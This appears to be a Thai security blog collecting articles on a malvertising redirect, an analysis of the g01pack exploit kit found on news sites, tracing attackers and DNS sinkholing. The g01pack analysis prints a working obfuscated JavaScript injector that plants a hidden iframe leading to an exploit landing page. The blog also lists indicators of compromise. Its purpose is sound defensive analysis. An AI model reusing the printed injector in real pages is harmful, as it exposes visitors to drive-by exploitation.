IncognitoLab Case : Attack by advertisement

สถานการณ์ล่าสุด

2:20PM 26 Sep 2013 script หยุดการ redirect

สำหรับท่านที่มีปัญหาเรื่องการ redirect อัตโนมัติ ให้ลองตรวจสอบว่า Java ที่ติดตั้งอยู่ในเครื่องคือ version 1.7 ใช่หรือไม่ ซึ่งสามารถตรวจสอบได้ที่ BrowserScan by Rapid7 โดยที่การวิเคราะห์ล่าสุดนั้นพบว่าเครื่องที่เกิดปัญหาจะมีการใช้งาน java 1.7.x อยู่ และ website ที่เข้าไปใช้งานมี script การติดตามผู้ใช้งานอยู่ตามรูป
Screen Shot 2556-09-26 at 2.13.18 PM
ซึ่งตัวการที่ทำให้การใช้งานของเรามีปัญหาคือ scorecardresearch.com

วิธีการแก้ไข

ต้อง Block มันครับ บน chrome และ firefox มี plugin ชื่อ collusion ที่สามารถ block การติดตามการใช้งานได้ ซึ่งมันจะ block website พวก tracer ที่คอยติดตามการท่องเว็บของเราอยู่ตลอด


หลังจากที่ห่างหายไปนานเมื่อวานพวกเราพึ่งจะเผยแพร่บทความไป ตั้งใจว่าจะทิ้งช่วงไว้สักนิดค่อยเขียนบทความใหม่ แต่เราก็ทำไม่ได้ครับเนื่องจากมีเหตุการณ์บางอย่างเกิดขึ้นกับการใช้งาน Internet ของพวกเรา นั่นคือบาง Website ที่เราเข้าไปใช้งาน เกิดอาการแปลกๆขึ้น โดยหลังจากเข้าไปบาง website มันมักจะ redirect ไปที่ http://www.forex-prices.com

forex_redir1

หลังจากที่พวกเราสังเกตดูหลายๆ website* ได้แก่ bloomberg, posttoday และ stock2morrow ก็พบว่าภายใน website มีการใช้งาน service ของ scorecardresearch.com อยู่ ซึ่ง scorecardresearch.com นั้น claim ตัวเองว่าเป็น service ด้านการตลาดอย่างหนึ่ง

*ขออนุญาตกล่าวอ้างอิงถึงเพื่อเป็นประโยชน์กับผู้อ่านครับ จริงๆแล้วมีหลายเว็บแต่ขอยกเฉพาะ website ที่คนไทยน่าจะรู้จักกันมากพอสมควร นอกจากนี้เราพบว่าปัญหานี้เกิดขึ้นกับ ISP บางเจ้าเท่านั้นครับ

พอเราสังเกตให้ละเอียดขึ้นพบว่าหลังจากที่เข้า website ดังกล่าวจะมี request ไปที่ b.scorecardresearch.com เกิดขึ้นเสมอตามรูป
forex_redir2

หลังจากนั้นก็จะมี script ดังกล่าวขึ้นมาทำงาน
forex_redir3

ถ้าวิเคราะห์แบบเร็วๆดูก็จะพบว่ามี keyword เหล่านี้อยู่ใน sourcecode

self","top","href","location","http://goo.gl/voNi7T","script",
"createElement","type","text/javascript","async","src",
"http://fxpr.com//api.js","getElementsByTagName","authID","",
"body","p","div","h1","header","html","insertBefore","parentNode

ใน keyword ดังกล่าวมีการอ้างอิงถึง http://goo.gl/voNi7T ถ้าหากลองเรียกดูก็จะพบว่ามันคือ short URL ของ forex-prices.com

ถามว่าจะแก้ไขอย่างไร

คำตอบนี้จะต้องให้ webmaster ของ website ที่ใช้บริการ advertisement หรือ banner ต่างๆ มาช่วยจัดการครับ เนื่องจากวิธีนี้เป็นการโจมตีผ่านการใช้งาน ads และ banner กลุ่มผู้ร้าย (cyber criminal) อยากจะ enable หรือ disable การโจมตีเมื่อไรก็ได้ที่อยากจะทำ ทำให้เรา trace ไปหาตัวผู้ร้ายได้ยาก

ส่วนฝั่งผู้ใช้งานก็ต้องดูแลตัวเองด้วยการ update patch ทั้ง OS, Browser และ Plugin ต่างๆ ลองไปตรวจสอบว่า Browser ที่ใช้งานปลอดภัยหรือไม่ ผ่าน service ชื่อ BrowserScan ของ rapid7 ดูนะครับ (ฟรีและดีมาก)

ถ้าหากใครเข้า website แล้วเกิดอาการแบบนี้ก็ต้องระมัดระวังตัวกันด้วยนะครับ ครั้งนี้พวก cyber criminal ทำแค่ redirect เราไปสักที่หนึ่งเพื่อจุดประสงค์อะไรก็แล้วแต่ คราวหน้ามันอาจจะ redirect เราไป landing page เพื่อโจมตีเราก็เป็นได้

นอกจากนี้ผู้ใช้งานทั่วๆไปอย่างเราๆ อาจจะสามารถป้องกันด้วยวิธีการติดตั้ง Add-on ของ Web Browser ที่ช่วย Block Ads ต่างๆ ได้ แต่ผมคิดว่า Solution นี้เป็นแค่วิธีการป้องกันชั่วคราวเท่านั้น เพราะวิธีการโจมตีแบบนี้ถือว่า Stealth มากๆ การ Update ของ Add-on อาจจะมาไม่ทันทำให้เราอาจตกเป็นเหยื่อได้อีก อย่างไรก็ตามวิธีการป้องกันที่ดีที่สุดก็คือการสร้าง Security Awareness ให้กับตัวเราเองครับ

Be Prepared!!!

Banking Trojan Hunting — g01pack’s fundamental analysis

1-2 วันที่ผ่านมาผมคิดว่าหลายๆคนที่เข้าไปดูข่าวออนไลน์บ่อยๆอาจจะตกใจเนื่องจาก Google และ Google Chrome มีการแจ้งเตือนภัยคุกคามว่า website ดังกล่าวอาจเป็นอันตรายต่อคอมพิวเตอร์ของผู้ใช้งาน

จากภาพด้านล่าง ผมพบหน้าจอจาก Homepage ของนสพ.ฉบับหนึ่งในวันที่ 12 มิถุนายน 2556
newspaper1

ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน
newspaper2

เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ urlquery.net ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมากๆอาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit* ที่ชื่อ g01pack
newspaper2_query

* Note:
1. ทำความเข้าใจกับ Exploitation kit ได้ที่บทความ Malware Fighting Technique — DNS Sinkhole
2. พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อยๆเรื่องการโจมตี Internet Banking ของธนาคารต่างๆนั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet

เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุกๆครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อมๆกับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ http://pantip.com/topic/30599799 และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)

ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่ายๆกันดีกว่า

Analysis

เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาดๆในหน้า Homepage ของนสพ.แห่งนั้น
newspaper2_query2

ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ http://pastebin.com/KWPfz3mF ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาดๆ ดูเละๆนั่นแหละครับ**)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่
dec1

Note:
** code ที่ดูประหลาดๆแบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่ายๆครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated

Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง
(function(){var fYN=document,K={'i':'rame'},NNC,E;function GG(L,Y){return L.src=Y;}function D(m){m+='58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3';m=m.split(',');t='';for(i=0;i<m.length-1;i++){n=parseInt(m[0]);n+=parseInt(m[i+1]);t+=String.fromCharCode(n);}return t;}if(/(Windows)/.test(navigator.userAgent)&&/(MSIE)/.test(navigator.userAgent)){try{NNC='56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,';E=md();TT=D(NNC);GG(E,TT);}catch(e){};}function l(){return 'if'+K.i;}function md(){var tt=document.createElement(l());tt.width='1px';NNC+='49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,';tt.height='1px';tt.style['visibility']='hidden';try{fYN['body']['appendChild'](tt);}catch(P){try{document.write('');document.body.appendChild(tt);}catch(uWin){}}return tt;}})();

ถ้าทำการ decode จะพบว่ามันมีการเรียกไปที่
dec2

ซึ่งจะพบหน้าจอตามรูปด้านล่าง
dec3
ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลกๆด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)

นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ http://pastebin.com/q52Pi7Kx
หากลองดูให้ดี จะเห็น pattern ซ้ำๆจริงมั้ยครับ??

หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode
applet_code2
โดยอาศัยช่องโหว่ CVE-2012-1723 ที่ทำการโจมตี Java

อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่างๆ เช่น banking trojan หรือ malware ประเภทอื่นๆมา deploy เพิ่มเติม
dec5

เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ ผลของมันคือ Detection ratio: 3/47 ซึ่งถือว่าหลบหลีกได้ดีมาก

การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่างๆมันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก

สำหรับผู้ใช้งานทั่วไป

0.อ่านบทความของ Thaicert
1. สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว แนะนำว่าปิดการทำงานของ java ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
2. ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ Rapid7 Browser Scan ฟรี

สำหรับผู้ดูแลระบบและผู้สนใจ

0.อ่านบทความของ Thaicert
1. ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่

IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net

ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสดๆร้อนๆเลย
2. ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน
hook
3. อ่านบทความเรื่อง Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer

ขอให้ทุกคนปลอดภัย Stay safe!!

Hacker Hunting — How to trace the hackers

สำหรับช่วงเดือนที่ผ่านมาหลายๆคนน่าจะได้อ่านข่าวเรื่องเว็บสำนักนายกถูกโจมตีด้วยวิธี Website Defacement หรือการเปลี่ยนหน้าตา Webpage ให้แตกต่างไปจากที่ควรจะเป็น ซึ่ง Incognito Lab ได้รับการสอบถามจากหลายๆท่านถึงวิธีการตามหา Hacker ว่ามีวิธีการอย่างไรบ้าง ทางเราจึงขอตอบคำถามนี้ด้วยรูปแบบบทความแทนครับ

ถ้าหากเรา Classify ประเภทของ Hackers ด้วย Skills ใน Term ของ Anonymity หรือพูดง่ายๆก็คือ Hacker คนนั้นคำนึงถึงเรื่อง Anonymity ของตัวเองมากน้อยแค่ไหน เราจะขอแบ่งง่ายๆออกเป็น 2 ประเภทคือ 1. พวกที่ไม่แคร์เรื่อง anonymity กับ 2. พวกที่ระมัดระวังตัว ซึ่งการ Trace back ไปหา Hackers ทั้ง 2 ประเภทมีความยากง่ายแตกต่างกัน

1. การ Trace back เพื่อตามหา Attacker ที่ไม่แคร์เรื่อง anonymity

การตามล่ากลุ่มที่ 1 นั้น ทางเราคิดว่าเป็นเรื่องไม่ยากสำหรับเจ้าหน้าที่ตำรวจ/เจ้าพนักงาน ส่วนคนที่ทำงานในสายงาน IT น่าจะเดาได้ไม่ยากว่าจะต้องทำอย่างไร ซึ่งเราขออธิบายโดยย่อก็แล้วกันนะครับ เนื่องจากกระบวนการของ Computer Forensics มีรายละเอียดและเทคนิคอยู่มาก บทความนี้จึงขอมุ่งไปที่ประเด็นหลัก ประเด็นเดียวเลยนั่นก็คือหลักฐาน IP Address ผ่านการเก็บรวบรวมหลักฐาน(Evidence Collection) จาก Multiple sources เช่นอุปกรณ์ network พวก Router, Switch, Firewall, Load balance, Network Gateway เช่น Proxy รวมทั้งหลักฐานจากเครื่องคอมพิวเตอร์ที่ถูกโจมตีซึ่งควรจะครอบคลุมจากทั้ง 3 tier(Web,App,DB) หลังจากนั้นก็จะมาทำกระบวนการที่เรียกว่า Correlation เพื่อวิเคราะห์ความสัมพันธ์จากแหล่งข้อมูลดังกล่าว เพื่อที่จะสร้าง Timeline of activities (หากระบบมีปัญหาเรื่อง Time Synchronisation ก็จะพบกับความยุ่งยากในการ Trace back)

หลังจากเราได้ Timeline of activities แล้วเราจะ Focus ไปที่ Event หรือ Anomaly activities ที่เราสนใจ หรือ Timeframe ที่คาดว่าน่าจะเกิดเหตุการณ์ขึ้น ซึ่งหากดำเนินการมาถึงขั้นตอนนี้แล้วการตามหาเจ้าของ IP address ที่มาทำการโจมตีก็ไม่ได้เป็นเรื่องยากอะไรในทางกฎหมาย ยกเว้นแต่ว่า Attacker อยู่ในประเทศที่อำนาจในทางกฎหมายไม่สามารถบังคับใช้ได้

2. การ Trace back เพื่อตามหา Attacker ที่ระมัดระวังตัว

คนกลุ่มนี้รู้วิธีการปิดบังตัวเองอยู่แล้วไม่ว่าจะเป็นการใช้ Tor, VPN หรือ Proxy ในการ Impersonation เพื่อปิดบัง Source IP ที่แท้จริงของตัวเอง การ Trace back จึงยากขึ้นกว่าเดิม อาจจะล้มเหลวหรือหาเจอก็ได้ ขออธิบายเพิ่มเติมดังนี้

2.1 Tor Network : เป็นเครือข่าย virtual tunnel ที่มีจุดประสงค์เพื่อ Privacy และ Security เป็นหลัก User ที่ใช้งานผ่าน Tor Network จะปลอดภัยจากการถูก Trace ไปที่ IP ที่กำลังใช้งานอยู่จริงๆ ซึ่งหาก IP ที่ Trace ได้เป็น IP ที่มาจาก Tor Network หรือในทางเทคนิคเราเรียกว่า Tor Exit Nodes การตามหาก็จะยากขึ้น
tor3
จากในภาพ Tor Network จะสร้าง Path จาก Src ไปหา Dst เป็น Random Path เสมอ และ Traffic ที่วิ่งใน Path จะผ่านการ Encryption ด้วย แต่ละ Hop จะรู้เพียงว่ามาจาก node ไหนและต้องส่งไปที่ node ไหนเท่านั้น ซึ่งในทางปฏิบัติแล้ว การ Trace back นั้นมีความยุ่งยากแต่เป็นไปได้ โดยถ้ามีการ Implement Bad Exit Node เพื่อดักจับข้อมูลและ Trace back กลับทีละ Hop จนถึง Source IP ก็จะทำได้แต่เราคิดว่ายากครับ ถ้าไม่มี Infrastructure ที่จะเข้าไป Investigate บน Exit nodes หรือพูดง่ายๆคือมีไม่มี Power ที่จะไปตั้ง Exit nodes ปริมาณมากพอที่จะไปใช้ในการวิเคราะห์ได้นั่นเอง

หลายๆคนอาจจะคิดว่ายากที่จะตามหา แต่จริงๆแล้ว Tor มีข้อจำกัดบางอย่างคือต้องทำงานกับ TCP และ Application ที่ใช้ต้อง support การ routing ด้วย SOCKS ได้ ดังนั้นไม่ใช่ทุก Packets จะผ่าน Tor ได้ Traffic ที่มีนัยสำคัญพวก DNS Resolving อาจจะเปิดเผย Source IP ที่แท้จริงของ Attacker คนนั้นได้ ขึ้นอยู่กับว่าการเก็บ traffic logs มีความสมบูรณ์มากน้อยเพียงใด

2.2 VPN: การใช้งาน VPN มีจุดประสงค์เพื่อนำ Protocol หรือ insecure traffic ไปวิ่งอยู่บน Tunnel ที่มีความปลอดภัยสูงกว่า การที่ Attacker ใช้ VPN Service เพื่อไปโจมตีระบบเป้าหมาย ก็จะพบว่า traffic logs ที่เกิดขึ้นมาจาก VPN Server ที่กำลังให้บริการอยู่ ณ ขณะนั้น ซึ่งการตามหา Attacker นั้นไม่ยากครับ เพราะทั้ง ISP และ VPN Service Provider มี traffic logs การใช้งานอยู่

VPN Service ของ Astrill

หากถามว่าจะตามหา Attacker ได้มั้ย ถ้าใช้งานผ่าน VPN Service Provider ข้ามประเทศที่มีความแตกต่างด้าน Politics, Economy หรือ Religion คำตอบคือเป็นไปได้ และทำได้ครับ ทุกวันนี้มีหน่วยงานที่ทำงานด้าน Cyber Security ที่ทำงานแบบ Cross Country กันอยู่เช่นระหว่าง US และ Russia ก็มี Joint Statement ที่ระบุถึงการทำงานต่อต้าน cyber threats หรือ non profit organisation ที่ชื่อ IMPACT( International Multilateral Partnership Against Cyber Threats) ซึ่งมี CERT จากกว่า 145 ประเทศร่วมมือกัน

2.3 Proxy : การโจมตีผ่านบริการ Proxy เป็นการโจมตีผ่านจุดให้บริการ Proxy ซึ่งการ Trace back มีความเป็นไปได้ครับ ถ้าหาก Proxy มีการเก็บ Logs แต่ถ้ามีการใช้งานผ่าน Proxy หลายๆจุด การ Trace back ก็จะยุ่งยากมากยิ่งขึ้น (การใช้งาน Proxy นั้นก็ไม่ได้มีความซับซ้อนแต่อย่างใด ทุกคนสามารถเข้าถึงแหล่งข้อมูล Free Proxy ได้อย่างง่ายๆ)

*** ยังมีอีกหลายวิธีที่จะสร้าง Anonymity ได้ และยังมีกลุ่ม Attacker อีกหลายๆรูปแบบ แต่ขออนุญาตอธิบายเพียงแค่นี้นะครับ เนื่องด้วยข้อจำกัดด้านปริมาณของเนื้อหา และไม่อยากที่จะชี้ช่องอะไรที่คนอื่นอาจจะไปใช้ในทางที่ไม่ดีได้ หลายๆครั้งที่เราได้รับคำถามเรื่องจะ Hack ระบบโน้น ระบบนี้อย่างไร บ่อยมาก เราเป็นห่วงประเทศนี้ครับ และเราก็มีอุดมการณ์แน่ชัดอยู่แล้วว่า We secure the nation ใช้ความรู้ความสามารถอย่างมีคุณธรรมเท่านั้น เราไม่ทราบเหมือนกันว่าคนที่ปลูกฝังความรู้ด้าน Information Security ของคุณเป็นใคร แต่อยากให้ทุกคนคิดว่าการก้าวไปสู่คำว่า Professional คำว่า Etiquette(จรรยาบรรณ) และ Ethics(จริยธรรม) นั้นสำคัญ หากจะเรียนรู้เพื่อมา Hack คนอื่นที่มีความรู้น้อยกว่าเรา อย่าเรียนดีกว่าครับ

อ่านมาถึงบรรทัดนี้แล้ว ผู้อ่านมีความเชื่อเพิ่มขึ้นบ้างหรือไม่ครับว่า ยังไงก็แล้วแต่ Attacker ก็มี Footprint ให้ตามรอยอยู่ดี ยิ่งถ้า Security หรือ System Administrator มีความเชี่ยวชาญในการ Deploy Protection บางอย่างยังไงพวก Attacker หรือ Hacker ก็จะทิ้งร่องรอยให้ตามหาครับ

หลังจากที่ตามหา IP Address ต้นตอได้เรียบร้อยแล้ว ในการบังคับคดีหลักฐานที่มียังอาจจะยังมีน้ำหนักไม่เพียงพอก็เป็นได้ครับเช่น Attacker อาจจะอ้างว่าเครื่องของเค้าถูก Malware เล่นงานหรือถูกคนอื่นโจมตี ซึ่งเจ้าพนักงานต้องขอเก็บหลักฐานด้วย Computer Forensics Process ต่อจากเครื่องผู้ต้องสงสัยเพื่อหา Circumstantial Evidence เพื่อหาหลักฐานว่ามี file หรือ content อะไรน่าสงสัยบ้าง มาสนับสนุนกับหลักฐานอื่นที่หาได้จากกระบวนการสืบสวน-สอบสวนเช่นผู้ต้องสงสัยมีกิจกรรมอะไรบ้าง มีความสามารถด้านไหน มี Motivation อะไร มีเอกสารอะไรเกี่ยวข้องหรือไม่ ละแวกนั้นมี Internet Entry Points อย่างไร มีใครอาศัยอยู่ในละแวกใกล้เคียงที่น่าสงสัยบ้างและประเด็นอื่นๆที่สามารถหาข้อมูลได้ หลังจากรวบรวมหลักฐานมาประกอบกัน หลักฐานที่มีทั้งหมดก็จะต้อง Support กับ Assumption จาก IP ที่หามาได้ จึงจะมีน้ำหนักพอเพื่อดำเนินทางกระบวนการยุติธรรม และการบังคับคดีต่อไป

crack
ถ้าผู้ต้องสงสัยมีการใช้ Full Disk Encryption ประกอบกับ Password ที่ Crack ไม่ได้แล้วอ้างว่าลืม ศาลอาจจะไม่เชื่อก็ได้ แต่จริงๆก็มีวิธีการจัดประเด็นนี้อยู่ตามรูปด้านบน(Joke น่ะครับ)

anonymous_guilty
จากภาพข่าว Hacker ระดับ Anonymous ยังถูกจับเลย

สำหรับผู้ดูแลระบบ

ควรจะป้องกันระบบของตัวเองให้ดี มีการเก็บ logs ให้พร้อม, set firewall rules ป้องกัน network access จาก anonymity network อย่างสม่ำเสมอ และปรับปรุง Security ให้ครบทุก Layer ตั้งแต่ network,system,application,data และ human

“My name is Sherlock Holmes. It is my business to know what other people don’t know.” — Sherlock Holmes Quote – The Adventure of the Blue Carbuncle

เรามีความเชื่ออย่างหนึ่งครับว่ายังไงก็แล้วแต่เราจะตามหา Attacker ได้เสมอและไม่มีระบบที่ไม่มีวันถูก Hack ได้เช่นกัน

ติดตามพวกเรากันไปเรื่อยๆนะครับ เรามี Project ชั้นยอดที่กำลังคิดและรอการสนับสนุนอยู่ หากว่าได้รับการสนับสนุนเมื่อไร Project ที่เราจะทำขึ้นจะมาเป็น Advanced & Intelligent Protection ที่เพิ่มเติมไปจาก Traditional Protection ที่เราเคยรู้จักกันมาอย่างแน่นอน

Stay safe!!!

Malware Fighting Technique — DNS Sinkhole

1 ในเทคนิคการป้องกัน malware ที่ implement ได้ง่ายและมีประสิทธิผลสูงสำหรับงาน Incident Handling ก็คือเทคนิคที่เรียกว่า DNS Sinkhole

Infection Pattern ของ Malware

โดยส่วนใหญ่แล้วการโจมตีหรือการแพร่ของ malware ไปสู่ endpoint หรือผู้ใช้งานนั้นมักจะเกิดขึ้น 2 steps
1. ขั้นแรกเป็นวิธีการที่เรียกว่า Drive by Downloads: วิธีการนี้นิยมโจมตีผ่าน Browser บนเครื่องของผู้ใช้งาน เช่น Users ไป visit เว็บไซด์หนึ่งซึ่งหน้า page ของเว็บไซด์นั้นมีการเชื่อมต่อไปสู่ Landing page* ของ malware ทำให้ Browser ของผู้ใช้ติดต่อกับ Infected Page ของ malware นั้นๆ โดยทางเทคนิคแล้วถ้าเกิดรูปแบบนี้ขึ้นมาเครื่องผู้ใช้งานมักจะถูกโจมตีผ่าน Exploitation Kits ซึ่งถ้าหากมี Environment ที่ไม่ดีพอเช่น antivirus ไม่สมบูรณ์, OS ไม่มีการ Update Patch และ Application ของเครื่องขาดการ Update มีช่องโหว่อยู่ เครื่องก็จะถูก Compromised
domain_exploit
จาก Graph ด้านบนสังเกตว่า Page ของหน้าที่เป็น Domain .go.th นั้นมี Link ไปหลายๆ Page ที่มี Domain .cc ซึ่งเป็นของหมู่เกาะ Cocos** และ Page เหล่านี้พบว่าเป็น Landing Page ของ Exploitation Kit ที่ชื่อว่า Redkit***

* Landing Page คือ Page ที่ทำการเปิดการเชื่อมต่อหรือมีการ Redirect ไปยัง Page ที่มี Payload อยู่เพื่อทำการ Exploit เครื่องของเหยื่อที่หลงเข้ามา จะมี Logic เช็คว่าเครื่องนั้นๆเหมาะสมกับการถูกโจมตีหรือไม่ด้วย ซึ่งเงื่อนไขนั้นขึ้นอยู่กับจุดประสงค์ของการโจมตี
** .cc เป็น Top Level Country Code ที่ CyberCrime ชอบใช้ อาจจะเป็นเพราะว่าประเทศนี้กฎระเบียบด้าน Security อ่อนและ .cc มันเท่ห์แทนคำว่า Command and Control
*** Redkit เป็นหนึ่งใน Exploitation Kits ตัวแสบที่โจมตี Users ทั่วโลกอยู่ ณ เวลานี้ และมีอีกตัวชื่อว่า Blackhole หน้าเว็บภายในประเทศไทยหลายแหล่งมีไอ้เจ้านี่ฝังอยู่เยอะเลยครับ

2. ขั้นตอนถัดมาเครื่องที่ Infected ทำการติดต่อกับ C2 (Command&Control Server) เพื่อ Maintain Connection: เครื่องที่ทำการติดต่อกับ C2 อาจจะเกิดขึ้นได้หลายกรณีเช่น เป็น zombie ใน BotNet, ติดต่อกับ C2 เพื่อ update configuration, ถูก control จาก Master ผ่าน RAT (Remote Access Trojan), มี Loader (Malware ที่ทำหน้าที่ไป download Malware หรือ Executable file อื่นๆมา install ที่เครื่องเพิ่มเติม) อยู่ในเครื่อง และอื่นๆอีกมากขึ้นอยู่กับเทคนิคของ Malware และ Environment นั้นๆ

จากรูปแบบดังกล่าว Malware มักจะทำการติดต่อโดยอาศัยการอ้างอิงชื่อผ่าน Authoritative DNS (DNS ที่ทำการ set อยู่ที่เครื่องนั่นแหละ) ของเครื่องที่ถูกโจมตี พวกแก๊งค์ CyberCrime มักจะจด Domain อยู่เป็นจำนวนมากและหากเครื่อง Controller ถูกปิดหรือถูก Banned จาก Network พวกเค้าก็แค่ไปเปลี่ยน IP ใหม่เท่านั้น Domain Name ยังคงใช้ชื่อแบบเดิมได้ หรือตั้ง Subdomain Name ใหม่ ผลก็คือเครื่องที่ Infected ก็ยังคงมีการเชื่อมต่อกับ C2 ได้เหมือนเดิม

เทคนิค DNS Sinkhole

Concept ของ DNS Sinkhole ก็คือป้องกันการเชื่อมต่อระหว่างเครื่องที่ Infected และ C2 หรือ Malicious Domain ด้วยการ Blind พวกมันผ่าน Name Resolving ของ DNS

Infrastructure แบบที่ไม่มี DNS Sinkhole
sinkhole1
Infrastructure แบบนี้การป้องกัน Malware ขึ้นอยู่ว่า Policy ของ Firewall เป็นอย่างไร หรือ IPS เห็นหรือไม่ ซึ่งส่วนใหญ่แล้วไม่เพียงพอและ Maintain ยาก บางองค์กรอาจจะมีการติดตั้ง Antivirus Gateway เพิ่มขึ้นมาด้วยก็ดีขึ้นครับ แต่ก็ต้อง Tradeoff กับเรื่อง Performance

Infrastructure แบบมี DNS Sinkhole
sinkhole2
Malicious Domain จะถูก DNS Resolve ไปที่เครื่อง Sinkhole ซึ่งมีการ Run อะไรบางอย่างอยู่แล้วแต่เทคนิค เช่น Run socat, packet analyser, proxy, หรือ honeypot ดักเอาไว้ หากมีการเชื่อมต่อก็ให้ทำการ alert ว่ามาจากเครื่องไหน และติดต่อไปที่ Port อะไร แค่นี้เราก็จะ Containment เครื่องที่ Infected ได้ และทำให้กระบวนการ Incident Handling ของ Admin เร็วขึ้น

ข้อจำกัดของ DNS Sinkhole

1. ต้องมีการ update Malicious Domain สม่ำเสมอ ซึ่งไม่ได้ยากมากครับ เนื่องจากมีคนทำให้อยู่แล้วเช่น
Malware Threat Center
malware-domains.com
Zeus Blocklist
2. ป้องกัน Malware ที่สามารถแก้ไข Host file บนเครื่องที่ Infected ไม่ได้ (ส่วนใหญ่แล้วการโจมตีด้วย Exploitation Kit ใน Stage เบื้องต้น Malware มักจะ Connect ไปภายนอกเพื่อ Update หรือ Download EXE เพิ่มเติมมา Run ก่อนที่มันจะทำอย่างอื่นครับ DNS Sinkhole จึงค่อนข้างใช้ได้ผล โดยส่วนตัวผมไม่ค่อยเจอ Malware ที่แอบเปลี่ยน Host File เท่าไรแล้วครับเนื่องจากมันเปิดเผยมากเกินไป IOC-Indicator of Compromise โจ๋งครึ่มมาก)
3. Firewall ที่ใช้ในองค์กรต้องบังคับไม่ให้ DNS Traffic ของเครื่อง Clients ไป Resolve Name ที่อื่น

Homeuse ทำ DNS Sinkhole ได้มั้ย?

คำตอบคือไม่ต้องทำครับ มีบริการดีๆ และฟรีอยู่ลองใช้ได้เลยเช่น
Norton ConnectSafe
OpenDNS

สำหรับงาน Forensics อยากทำ DNS Sinkhole แบบเร็วๆบนเครื่องที่ Infected เพื่อดูว่า เครื่องนั้น connect ไปที่ไหนบ้าง สามารถทำได้หรือไม่?

ทำได้แน่นอน tool ที่อยากจะแนะนำให้ใช้คือ apatedns ของ Mandiant ที่จะ control DNS Response ตามใจเราได้

